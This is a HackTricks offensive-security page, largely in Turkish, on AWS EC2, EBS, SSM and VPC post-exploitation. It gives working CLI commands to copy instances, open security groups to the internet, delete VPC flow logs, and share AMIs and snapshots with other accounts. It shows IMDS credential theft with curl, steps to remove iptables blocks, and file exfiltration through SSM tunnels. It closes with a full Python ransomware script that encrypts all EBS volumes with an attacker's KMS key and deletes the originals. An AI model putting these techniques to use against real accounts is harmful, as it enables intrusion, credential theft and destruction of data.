AWS - EC2, EBS, SSM & VPC Post Exploitation

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin

EC2 & VPC

Daha fazla bilgi için bakınız:

AWS - EC2, EBS, ELB, SSM, VPC & VPN Enum

Malicious VPC Mirror - ec2:DescribeInstances, ec2:RunInstances, ec2:CreateSecurityGroup, ec2:AuthorizeSecurityGroupIngress, ec2:CreateTrafficMirrorTarget, ec2:CreateTrafficMirrorSession, ec2:CreateTrafficMirrorFilter, ec2:CreateTrafficMirrorFilterRule

VPC traffic mirroring, herhangi bir şey yüklemeye gerek kalmadan VPC içindeki EC2 instance’ların gelen ve giden trafiğini çoğaltır. Bu çoğaltılmış trafik genellikle analiz ve izleme için network intrusion detection system (IDS) gibi bir yere gönderilir.
Bir saldırgan bunu kötüye kullanarak tüm trafiği yakalayabilir ve hassas bilgileri elde edebilir:

Daha fazla bilgi için şu sayfaya bakınız:

AWS - Malicious VPC Mirror

Copy Running Instance

Instances genellikle bir tür hassas bilgi içerir. İçeri girmek için çeşitli yollar vardır (bakınız EC2 privilege escalation tricks). Ancak içeriğinin ne olduğunu kontrol etmenin bir diğer yolu, bir AMI oluşturup ondan yeni bir instance çalıştırmaktır (hatta kendi hesabınızda bile):

# List instances
aws ec2 describe-images

# create a new image for the instance-id
aws ec2 create-image --instance-id i-0438b003d81cd7ec5 --name "AWS Audit" --description "Export AMI" --region eu-west-1

# add key to AWS
aws ec2 import-key-pair --key-name "AWS Audit" --public-key-material file://~/.ssh/id_rsa.pub --region eu-west-1

# create ec2 using the previously created AMI, use the same security group and subnet to connect easily.
aws ec2 run-instances --image-id ami-0b77e2d906b00202d --security-group-ids "sg-6d0d7f01" --subnet-id subnet-9eb001ea --count 1 --instance-type t2.micro --key-name "AWS Audit" --query "Instances[0].InstanceId" --region eu-west-1

# now you can check the instance
aws ec2 describe-instances --instance-ids i-0546910a0c18725a1

# If needed : edit groups
aws ec2 modify-instance-attribute --instance-id "i-0546910a0c18725a1" --groups "sg-6d0d7f01"  --region eu-west-1

# be a good guy, clean our instance to avoid any useless cost
aws ec2 stop-instances --instance-id "i-0546910a0c18725a1" --region eu-west-1
aws ec2 terminate-instances --instance-id "i-0546910a0c18725a1" --region eu-west-1

EBS Snapshot dump

Snapshots are backups of volumes, genellikle hassas bilgiler içerir; bu yüzden bunları kontrol etmek bu bilgileri ortaya çıkarabilir.
Eğer bir volume without a snapshot bulursanız şunları yapabilirsiniz: Create a snapshot oluşturup aşağıdaki eylemleri gerçekleştirebilir veya hesabın içinde bir instance’a mount it in an instance.

AWS - EBS Snapshot Dump

Covert Disk Exfiltration via AMI Store-to-S3

EC2 AMI’yi doğrudan S3’e CreateStoreImageTask kullanarak aktarın ve snapshot paylaşımı olmadan ham disk imajı elde edin. Bu, instance ağını dokunmadan tam çevrimdışı adli inceleme veya veri hırsızlığı yapılmasına olanak sağlar.

AWS – Covert Disk Exfiltration via AMI Store-to-S3 (CreateStoreImageTask)

Live Data Theft via EBS Multi-Attach

io1/io2 Multi-Attach volume’ü ikinci bir instance’a bağlayın ve snapshot olmadan canlı veriyi çekmek için salt okunur (read-only) olarak mount edin. Hedef volume zaten aynı AZ içinde Multi-Attach etkinse faydalıdır.

AWS - Live Data Theft via EBS Multi-Attach

EC2 Instance Connect Endpoint Backdoor

EC2 Instance Connect Endpoint oluşturun, ingress izni verin ve yönetilen bir tünel üzerinden özel instance’lara erişmek için geçici SSH anahtarları enjekte edin. Bu, genel portları açmadan hızlı lateral hareket yolları sağlar.

AWS - EC2 Instance Connect Endpoint backdoor + ephemeral SSH key injection

EC2 ENI Secondary Private IP Hijack

Kurbandan alınan bir ENI’nin ikincil private IP’sini saldırgan kontrollü bir ENI’ye taşıyarak IP ile izin verilen güvenilir host’ları taklit edin. Bu, belirli adreslere bağlı iç ACL’leri veya SG kurallarını atlamayı sağlar.

AWS – EC2 ENI Secondary Private IP Hijack (Trust/Allowlist Bypass)

Elastic IP Hijack for Ingress/Egress Impersonation

Hedef instance’dan bir Elastic IP’yi saldırgana yeniden ilişkilendirerek gelen trafiği yakalayın veya güvenilir genel IP’lerden geliyormuş gibi görünen giden bağlantılar başlatın.

AWS - Elastic IP Hijack for Ingress/Egress IP Impersonation

Security Group Backdoor via Managed Prefix Lists

Eğer bir security group kuralı müşteri tarafından yönetilen bir prefix listesine referans veriyorsa, listeye saldırgan CIDR’leri eklemek SG’yi doğrudan değiştirmeden tüm bağımlı SG kurallarında erişimi sessizce genişletir.

AWS - Security Group Backdoor via Managed Prefix Lists

VPC Endpoint Egress Bypass

Yalıtılmış subnet’lerden giden erişimi yeniden kazanmak için gateway veya interface VPC endpoint’leri oluşturun. AWS-managed private links kullanmak, data exfiltration için eksik IGW/NAT kontrollerini atlamayı sağlar.

AWS – Egress Bypass from Isolated Subnets via VPC Endpoints

ec2:AuthorizeSecurityGroupIngress

ec2:AuthorizeSecurityGroupIngress iznine sahip bir saldırgan security group’lara inbound kuralları ekleyebilir (örneğin 0.0.0.0/0’dan tcp:80’e izin vermek), böylece iç servisleri Genel İnternet’e veya yetkisiz diğer ağlara açar.

aws ec2 authorize-security-group-ingress --group-id <sg-id> --protocol tcp --port 80 --cidr 0.0.0.0/0

ec2:ReplaceNetworkAclEntry

ec2:ReplaceNetworkAclEntry (veya benzeri) izinlere sahip bir saldırgan, bir subnet’in Network ACLs (NACLs) yapılandırmasını çok daha izin verici hale getirebilir — örneğin kritik portlarda 0.0.0.0/0’e izin vererek — böylece tüm subnet aralığını Internet’e veya yetkisiz ağ segmentlerine açar. Per-instance olarak uygulanan Security Groups’un aksine, NACLs subnet seviyesinde uygulanır; bu yüzden kısıtlayıcı bir NACL’i değiştirmek, çok daha fazla hosta erişimi sağlayarak çok daha geniş bir etki alanı yaratabilir.

aws ec2 replace-network-acl-entry \
--network-acl-id <ACL_ID> \
--rule-number 100 \
--protocol <PROTOCOL> \
--rule-action allow \
--egress <true|false> \
--cidr-block 0.0.0.0/0

ec2:Delete*

ec2:Delete* ve iam:Remove* izinlerine sahip bir saldırgan, örneğin key pairs, launch templates/versions, AMIs/snapshots, volumes veya attachments, security groups veya rules, ENIs/network endpoints, route tables, gateways veya managed endpoints gibi kritik altyapı kaynaklarını ve yapılandırmaları silebilir. Bu, anında hizmet kesintisine, veri kaybına ve adli delil kaybına neden olabilir.

One example is deleting a security group:

aws ec2 delete-security-group
–group-id <SECURITY_GROUP_ID>

VPC Flow Logs Cross-Account Exfiltration

VPC Flow Logs’u, uzun süreli keşif için hedef hesabın dışında saldırganın kontrolündeki bir S3 bucket’a yönlendirerek ağ meta verilerini (source/destination, ports) sürekli toplayın.

AWS - VPC Flow Logs Cross-Account Exfiltration to S3

Data Exfiltration

DNS Exfiltration

Bir EC2’yi dışarı çıkış trafiğine kapatsanız bile, yine de exfil via DNS yapabilir.

  • VPC Flow Logs bunu kaydetmez.
  • AWS DNS loglarına erişiminiz yok.
  • Bunu devre dışı bırakmak için “enableDnsSupport“u false olarak ayarlayın:

aws ec2 modify-vpc-attribute --no-enable-dns-support --vpc-id <vpc-id>

Exfiltration via API calls

Saldırgan, kendi kontrolündeki bir hesabın API endpoint’lerini çağırabilir. Cloudtrail bu çağrıları kaydeder ve saldırgan exfiltrate edilmiş veriyi Cloudtrail loglarında görebilir.

Open Security Group

Aşağıdaki gibi portları açarak network servislerine daha fazla erişim elde edebilirsiniz:

aws ec2 authorize-security-group-ingress --group-id <sg-id> --protocol tcp --port 80 --cidr 0.0.0.0/0
# Or you could just open it to more specific ips or maybe th einternal network if you have already compromised an EC2 in the VPC

Privesc to ECS

It’s possible to run an EC2 instance an register it to be used to run ECS instances and then steal the ECS instances data.

For more information check this.

ECS-on-EC2 IMDS Abuse and ECS Agent Impersonation (ECScape)

On ECS with the EC2 launch type, the control plane assumes each task role and pushes the temporary credentials down to the ECS agent over the Agent Communication Service (ACS) WebSocket channel. The agent then serves those credentials to containers via the task metadata endpoint (169.254.170.2). The ECScape research shows that if a container can reach IMDS and steal the instance profile, it can impersonate the agent over ACS and receive every task role credential on that host, including task execution role credentials that are not exposed via the metadata endpoint.

Attack chain

  1. Steal the container instance role from IMDS. IMDS access is required to obtain the host role used by the ECS agent.
TOKEN=$(curl -s -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
curl -s -H "X-aws-ec2-metadata-token: $TOKEN" \
http://169.254.169.254/latest/meta-data/iam/security-credentials/{InstanceProfileName}
  1. Discover the ACS poll endpoint and required identifiers. Using the instance role credentials, call ecs:DiscoverPollEndpoint to obtain the ACS endpoint and gather identifiers such as the cluster ARN and container instance ARN. The cluster ARN is exposed via task metadata (169.254.170.2/v4/), while the container instance ARN can be obtained via the agent introspection API or (if allowed) ecs:ListContainerInstances.
  2. Impersonate the ECS agent over ACS. Initiate a SigV4-signed WebSocket to the poll endpoint and include sendCredentials=true. ECS accepts the connection as a valid agent session and begins streaming IamRoleCredentials messages for all tasks on the instance. This includes task execution role credentials, which can unlock ECR pulls, Secrets Manager retrievals, or CloudWatch Logs access.

Find the PoC in https://github.com/naorhaziz/ecscape

IMDS reachability with IMDSv2 + hop limit 1

Setting IMDSv2 with HttpTokens=required and HttpPutResponseHopLimit=1 only blocks tasks that live behind an extra hop (Docker bridge). Other networking modes stay within one hop of the Nitro controller and still receive responses:

ECS network modeIMDS reachable?Reason
awsvpcEach task gets its own ENI that is still one hop away from IMDS, so tokens and metadata responses arrive successfully.
hostTasks share the host namespace, so they see the same hop distance as the EC2 instance.
bridgeResponses die on the Docker bridge because that extra hop exhausts the hop limit.

Therefore, never assume hop limit 1 protects awsvpc or host-mode workloads—always test from inside your containers.

Detecting IMDS blocks per network mode

  • awsvpc tasks: Security groups, NACLs, or routing tweaks cannot block the link-local 169.254.169.254 address because Nitro injects it on-host. Check /etc/ecs/ecs.config for ECS_AWSVPC_BLOCK_IMDS=true. If the flag is missing (default) you can curl IMDS directly from the task. If it is set, pivot into the host/agent namespace to flip it back or execute your tooling outside awsvpc.

  • bridge mode: When metadata requests fail even though hop limit 1 is configured, defenders probably inserted a DOCKER-USER drop rule such as --in-interface docker+ --destination 169.254.169.254/32 --jump DROP. Listing iptables -S DOCKER-USER exposes it, and root access lets you delete or reorder the rule before querying IMDS.

  • host mode: Inspect the agent configuration for ECS_ENABLE_TASK_IAM_ROLE_NETWORK_HOST=false. That setting removes task IAM roles entirely, so you must either re-enable it, move to awsvpc tasks, or steal credentials through another process on the host. When the value is true (default), every host-mode process—including compromised containers—can hit IMDS unless bespoke eBPF/cgroup filters target 169.254.169.254; look for tc/eBPF programs or iptables rules referencing that address.

Latacora even released Terraform validation code you can drop into a target account to enumerate which network modes still expose metadata and plan your next hop accordingly.

Once you understand which modes expose IMDS you can plan your post-exploitation path: target any ECS task, request the instance profile, impersonate the agent, and harvest every other task role for lateral movement or persistence inside the cluster.

Remove VPC flow logs

aws ec2 delete-flow-logs --flow-log-ids <flow_log_ids> --region <region>

SSM Port Forwarding

Gerekli izinler:

  • ssm:StartSession

Komut yürütmenin yanı sıra, SSM traffic tunneling’e izin verir; bu, Security Groups veya NACLs nedeniyle ağ erişimi olmayan EC2 instance’larından pivot yapmak için kötüye kullanılabilir. Bunun faydalı olduğu senaryolardan biri, Bastion Host üzerinden özel bir EKS cluster’a pivot yapmaktır.

Bir oturum başlatmak için SessionManagerPlugin’in yüklü olması gerekir: https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html

  1. SessionManagerPlugin’i makinenize kurun
  2. Aşağıdaki komutu kullanarak Bastion EC2’ye giriş yapın:
aws ssm start-session --target "$INSTANCE_ID"
  1. Abusing SSRF in AWS EC2 environment script’i ile Bastion EC2’nin AWS geçici kimlik bilgilerini alın
  2. Kimlik bilgilerini kendi makinenize $HOME/.aws/credentials dosyasına [bastion-ec2] profili olarak aktarın
  3. Bastion EC2 olarak EKS’e giriş yapın:
aws eks update-kubeconfig --profile bastion-ec2 --region <EKS-CLUSTER-REGION> --name <EKS-CLUSTER-NAME>
  1. server alanını $HOME/.kube/config dosyasında https://localhost’a işaret edecek şekilde güncelleyin
  2. Aşağıdaki gibi bir SSM tüneli oluşturun:
sudo aws ssm start-session --target $INSTANCE_ID --document-name AWS-StartPortForwardingSessionToRemoteHost --parameters '{"host":["<TARGET-IP-OR-DOMAIN>"],"portNumber":["443"], "localPortNumber":["443"]}' --region <BASTION-INSTANCE-REGION>
  1. kubectl aracından gelen trafik artık SSM tüneli üzerinden Bastion EC2 aracılığıyla yönlendiriliyor ve aşağıdaki komutu çalıştırarak kendi makinenizden özel EKS kümesine erişebilirsiniz:
kubectl get pods --insecure-skip-tls-verify

Not: SSL bağlantıları, --insecure-skip-tls-verify bayrağını (veya K8s audit araçlarındaki eşdeğerini) ayarlamazsanız başarısız olacaktır. Trafiğin güvenli AWS SSM tunnel üzerinden tünellendiğini göz önünde bulundurursanız, her türlü MitM saldırısından güvendesiniz.

Son olarak, bu teknik özel EKS cluster’larını hedeflemekle sınırlı değildir. İstediğiniz domainleri ve portları ayarlayarak herhangi bir diğer AWS servisine veya özel bir uygulamaya pivot yapabilirsiniz.


Quick Local ↔️ Remote Port Forward (AWS-StartPortForwardingSession)

If you only need to forward one TCP port from the EC2 instance to your local host you can use the AWS-StartPortForwardingSession SSM document (no remote host parameter required):

aws ssm start-session --target i-0123456789abcdef0 \
--document-name AWS-StartPortForwardingSession \
--parameters "portNumber"="8000","localPortNumber"="8000" \
--region <REGION>

The command establishes a bidirectional tunnel between your workstation (localPortNumber) and the selected port (portNumber) on the instance without opening any inbound Security-Group rules.

Yaygın kullanım durumları:

  • File exfiltration
  1. Instance üzerinde, exfiltrate etmek istediğiniz dizini işaret eden hızlı bir HTTP sunucusu başlatın:
python3 -m http.server 8000
  1. Çalışma istasyonunuzdan dosyaları SSM tüneli üzerinden alın:
curl http://localhost:8000/loot.txt -o loot.txt
  • İç web uygulamalarına erişim (e.g. Nessus)
# Forward remote Nessus port 8834 to local 8835
aws ssm start-session --target i-0123456789abcdef0 \
--document-name AWS-StartPortForwardingSession \
--parameters "portNumber"="8834","localPortNumber"="8835"
# Browse to http://localhost:8835

İpucu: CloudTrail clear-text içeriği kaydetmesin diye delilleri exfiltrating etmeden önce sıkıştırıp şifreleyin:

# On the instance
7z a evidence.7z /path/to/files/* -p'Str0ngPass!'

AMI Paylaş

aws ec2 modify-image-attribute --image-id <image_ID> --launch-permission "Add=[{UserId=<recipient_account_ID>}]" --region <AWS_region>

Genel veya özel AMI’lerde hassas bilgileri arama

  • https://github.com/saw-your-packet/CloudShovel: CloudShovel, genel veya özel Amazon Machine Images (AMIs) içinde hassas bilgileri aramak için tasarlanmış bir araçtır. Hedef AMI’lerden instance’ları başlatma, bunların volume’larını bağlama ve potansiyel sırlar veya hassas veriler için tarama işlemlerini otomatikleştirir.

EBS Snapshot Paylaşımı

aws ec2 modify-snapshot-attribute --snapshot-id <snapshot_ID> --create-volume-permission "Add=[{UserId=<recipient_account_ID>}]" --region <AWS_region>

EBS Ransomware PoC

S3 post-exploitation notlarında gösterilen Ransomware gösterimine benzer bir PoC. KMS, farklı AWS hizmetlerini şifrelemek için kullanılmasının ne kadar kolay olduğuna bakarak Ransomware Management Service (RMS) olarak yeniden adlandırılmalı.

Öncelikle ‘attacker’ AWS hesabından KMS içinde bir customer managed key oluşturun. Bu örnekte AWS’nin anahtar verilerini benim için yönetmesine izin vereceğiz, ancak gerçekçi bir senaryoda kötü niyetli bir aktör anahtar verilerini AWS’in kontrolü dışında tutardı. Key politikasını, herhangi bir AWS account Principal’ın anahtarı kullanmasına izin verecek şekilde değiştirin. Bu key politikası için hesabın adı ‘AttackSim’ idi ve tüm erişime izin veren politika kuralı ‘Outside Encryption’ olarak adlandırıldı.

{
"Version": "2012-10-17",
"Id": "key-consolepolicy-3",
"Statement": [
{
"Sid": "Enable IAM User Permissions",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:root"
},
"Action": "kms:*",
"Resource": "*"
},
{
"Sid": "Allow access for Key Administrators",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": [
"kms:Create*",
"kms:Describe*",
"kms:Enable*",
"kms:List*",
"kms:Put*",
"kms:Update*",
"kms:Revoke*",
"kms:Disable*",
"kms:Get*",
"kms:Delete*",
"kms:TagResource",
"kms:UntagResource",
"kms:ScheduleKeyDeletion",
"kms:CancelKeyDeletion"
],
"Resource": "*"
},
{
"Sid": "Allow use of the key",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": [
"kms:Encrypt",
"kms:Decrypt",
"kms:ReEncrypt*",
"kms:GenerateDataKey*",
"kms:DescribeKey"
],
"Resource": "*"
},
{
"Sid": "Outside Encryption",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": [
"kms:Encrypt",
"kms:Decrypt",
"kms:ReEncrypt*",
"kms:GenerateDataKey*",
"kms:DescribeKey",
"kms:GenerateDataKeyWithoutPlainText",
"kms:CreateGrant"
],
"Resource": "*"
},
{
"Sid": "Allow attachment of persistent resources",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": [
"kms:CreateGrant",
"kms:ListGrants",
"kms:RevokeGrant"
],
"Resource": "*",
"Condition": {
"Bool": {
"kms:GrantIsForAWSResource": "true"
}
}
}
]
}

Anahtar politika kuralının bir EBS hacmini şifrelemek için kullanılabilmesine izin vermek üzere aşağıdakilerin etkinleştirilmesi gerekir:

  • kms:CreateGrant
  • kms:Decrypt
  • kms:DescribeKey
  • kms:GenerateDataKeyWithoutPlainText
  • kms:ReEncrypt

Şimdi kullanılacak herkese açık anahtarımız var. Bazı şifrelenmemiş EBS hacimleri bağlı birkaç EC2 instance’ı bulunan bir ‘kurban’ hesabı kullanabiliriz. Bu ‘kurban’ hesabın EBS hacimleri şifreleme hedefimizdir; bu saldırı yüksek ayrıcalıklı bir AWS hesabının ihlali varsayımı altındadır.

Pasted image 20231231172655 Pasted image 20231231172734

S3 fidye yazılımı örneğine benzer şekilde. Bu saldırı, bağlı EBS hacimlerinin snapshot’larını alarak kopyalarını oluşturacak, ‘saldırgan’ hesabından herkese açık anahtarı kullanarak yeni EBS hacimlerini şifreleyecek, ardından orijinal EBS hacimlerini EC2 instance’larından ayırıp silecek ve son olarak yeni şifreli EBS hacimlerini oluşturmak için kullanılan snapshot’ları silecektir. Pasted image 20231231173130

Bunun sonucunda hesapta yalnızca şifrelenmiş EBS hacimleri kalır.

Pasted image 20231231173338

Ayrıca belirtmeye değer ki, script orijinal EBS hacimlerini ayırıp silmek için EC2 instance’larını durdurdu. Orijinal şifrelenmemiş hacimler artık yok.

Pasted image 20231231173931

Son olarak, ‘saldırgan’ hesabındaki key policy’ye geri dönün ve key policy’den ‘Outside Encryption’ politika kuralını kaldırın.

{
"Version": "2012-10-17",
"Id": "key-consolepolicy-3",
"Statement": [
{
"Sid": "Enable IAM User Permissions",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:root"
},
"Action": "kms:*",
"Resource": "*"
},
{
"Sid": "Allow access for Key Administrators",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": [
"kms:Create*",
"kms:Describe*",
"kms:Enable*",
"kms:List*",
"kms:Put*",
"kms:Update*",
"kms:Revoke*",
"kms:Disable*",
"kms:Get*",
"kms:Delete*",
"kms:TagResource",
"kms:UntagResource",
"kms:ScheduleKeyDeletion",
"kms:CancelKeyDeletion"
],
"Resource": "*"
},
{
"Sid": "Allow use of the key",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": [
"kms:Encrypt",
"kms:Decrypt",
"kms:ReEncrypt*",
"kms:GenerateDataKey*",
"kms:DescribeKey"
],
"Resource": "*"
},
{
"Sid": "Allow attachment of persistent resources",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": ["kms:CreateGrant", "kms:ListGrants", "kms:RevokeGrant"],
"Resource": "*",
"Condition": {
"Bool": {
"kms:GrantIsForAWSResource": "true"
}
}
}
]
}

Yeni ayarlanan key policy’nin yayılması için biraz bekleyin. Sonra ‘victim’ hesabına geri dönün ve yeni şifrelenmiş EBS volume’lardan birini attach etmeyi deneyin. Volume’u attach edebildiğinizi göreceksiniz.

Pasted image 20231231174131 Pasted image 20231231174258

Ama şifrelenmiş EBS volume ile EC2 instance’ını gerçekten başlatmaya çalıştığınızda, işlem başarısız olur ve instance ‘pending’ durumundan ‘stopped’ durumuna geri döner; çünkü eklenmiş EBS volume key ile deşifre edilemiyor, çünkü key policy artık buna izin vermiyor.

Pasted image 20231231174322 Pasted image 20231231174352

İşte kullanılan python script. Şifreleme için kullanılacak key’in kamuya açık bir AWS ARN değeri ile ‘victim’ hesabı için AWS creds alır. Script, hedef AWS hesabındaki tüm EC2 instance’larına bağlı TÜM mevcut EBS volume’larının şifrelenmiş kopyalarını oluşturur; ardından her EC2 instance’ını durdurur, orijinal EBS volume’larını detach eder, bunları siler ve süreçte kullanılan tüm snapshots’ları en sonunda siler. Bu, hedeflenen ‘victim’ hesabında yalnızca şifrelenmiş EBS volume’larının kalmasına yol açar. BU SCRIPT’İ SADECE BİR TEST ORTAMINDA KULLANIN, YIKICI’DIR VE TÜM ORİJİNAL EBS VOLUME’LARINI SİLEBİLİR. Kullandığınız KMS key’i kullanarak bunları snapshot’lar üzerinden geri kurtarabilir ve orijinal hallerine döndürebilirsiniz, fakat günün sonunda bunun bir ransomware PoC olduğunu bilmenizi istiyoruz.

import boto3
import argparse
from botocore.exceptions import ClientError

def enumerate_ec2_instances(ec2_client):
instances = ec2_client.describe_instances()
instance_volumes = {}
for reservation in instances['Reservations']:
for instance in reservation['Instances']:
instance_id = instance['InstanceId']
volumes = [vol['Ebs']['VolumeId'] for vol in instance['BlockDeviceMappings'] if 'Ebs' in vol]
instance_volumes[instance_id] = volumes
return instance_volumes

def snapshot_volumes(ec2_client, volumes):
snapshot_ids = []
for volume_id in volumes:
snapshot = ec2_client.create_snapshot(VolumeId=volume_id)
snapshot_ids.append(snapshot['SnapshotId'])
return snapshot_ids

def wait_for_snapshots(ec2_client, snapshot_ids):
for snapshot_id in snapshot_ids:
ec2_client.get_waiter('snapshot_completed').wait(SnapshotIds=[snapshot_id])

def create_encrypted_volumes(ec2_client, snapshot_ids, kms_key_arn):
new_volume_ids = []
for snapshot_id in snapshot_ids:
snapshot_info = ec2_client.describe_snapshots(SnapshotIds=[snapshot_id])['Snapshots'][0]
volume_id = snapshot_info['VolumeId']
volume_info = ec2_client.describe_volumes(VolumeIds=[volume_id])['Volumes'][0]
availability_zone = volume_info['AvailabilityZone']

volume = ec2_client.create_volume(SnapshotId=snapshot_id, AvailabilityZone=availability_zone,
Encrypted=True, KmsKeyId=kms_key_arn)
new_volume_ids.append(volume['VolumeId'])
return new_volume_ids

def stop_instances(ec2_client, instance_ids):
for instance_id in instance_ids:
try:
instance_description = ec2_client.describe_instances(InstanceIds=[instance_id])
instance_state = instance_description['Reservations'][0]['Instances'][0]['State']['Name']

if instance_state == 'running':
ec2_client.stop_instances(InstanceIds=[instance_id])
print(f"Stopping instance: {instance_id}")
ec2_client.get_waiter('instance_stopped').wait(InstanceIds=[instance_id])
print(f"Instance {instance_id} stopped.")
else:
print(f"Instance {instance_id} is not in a state that allows it to be stopped (current state: {instance_state}).")

except ClientError as e:
print(f"Error stopping instance {instance_id}: {e}")

def detach_and_delete_volumes(ec2_client, volumes):
for volume_id in volumes:
try:
ec2_client.detach_volume(VolumeId=volume_id)
ec2_client.get_waiter('volume_available').wait(VolumeIds=[volume_id])
ec2_client.delete_volume(VolumeId=volume_id)
print(f"Deleted volume: {volume_id}")
except ClientError as e:
print(f"Error detaching or deleting volume {volume_id}: {e}")


def delete_snapshots(ec2_client, snapshot_ids):
for snapshot_id in snapshot_ids:
try:
ec2_client.delete_snapshot(SnapshotId=snapshot_id)
print(f"Deleted snapshot: {snapshot_id}")
except ClientError as e:
print(f"Error deleting snapshot {snapshot_id}: {e}")

def replace_volumes(ec2_client, instance_volumes):
instance_ids = list(instance_volumes.keys())
stop_instances(ec2_client, instance_ids)

all_volumes = [vol for vols in instance_volumes.values() for vol in vols]
detach_and_delete_volumes(ec2_client, all_volumes)

def ebs_lock(access_key, secret_key, region, kms_key_arn):
ec2_client = boto3.client('ec2', aws_access_key_id=access_key, aws_secret_access_key=secret_key, region_name=region)

instance_volumes = enumerate_ec2_instances(ec2_client)
all_volumes = [vol for vols in instance_volumes.values() for vol in vols]
snapshot_ids = snapshot_volumes(ec2_client, all_volumes)
wait_for_snapshots(ec2_client, snapshot_ids)
create_encrypted_volumes(ec2_client, snapshot_ids, kms_key_arn)  # New encrypted volumes are created but not attached
replace_volumes(ec2_client, instance_volumes)  # Stops instances, detaches and deletes old volumes
delete_snapshots(ec2_client, snapshot_ids)  # Optionally delete snapshots if no longer needed

def parse_arguments():
parser = argparse.ArgumentParser(description='EBS Volume Encryption and Replacement Tool')
parser.add_argument('--access-key', required=True, help='AWS Access Key ID')
parser.add_argument('--secret-key', required=True, help='AWS Secret Access Key')
parser.add_argument('--region', required=True, help='AWS Region')
parser.add_argument('--kms-key-arn', required=True, help='KMS Key ARN for EBS volume encryption')
return parser.parse_args()

def main():
args = parse_arguments()
ec2_client = boto3.client('ec2', aws_access_key_id=args.access_key, aws_secret_access_key=args.secret_key, region_name=args.region)

instance_volumes = enumerate_ec2_instances(ec2_client)
all_volumes = [vol for vols in instance_volumes.values() for vol in vols]
snapshot_ids = snapshot_volumes(ec2_client, all_volumes)
wait_for_snapshots(ec2_client, snapshot_ids)
create_encrypted_volumes(ec2_client, snapshot_ids, args.kms_key_arn)
replace_volumes(ec2_client, instance_volumes)
delete_snapshots(ec2_client, snapshot_ids)

if __name__ == "__main__":
main()

Kaynaklar

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin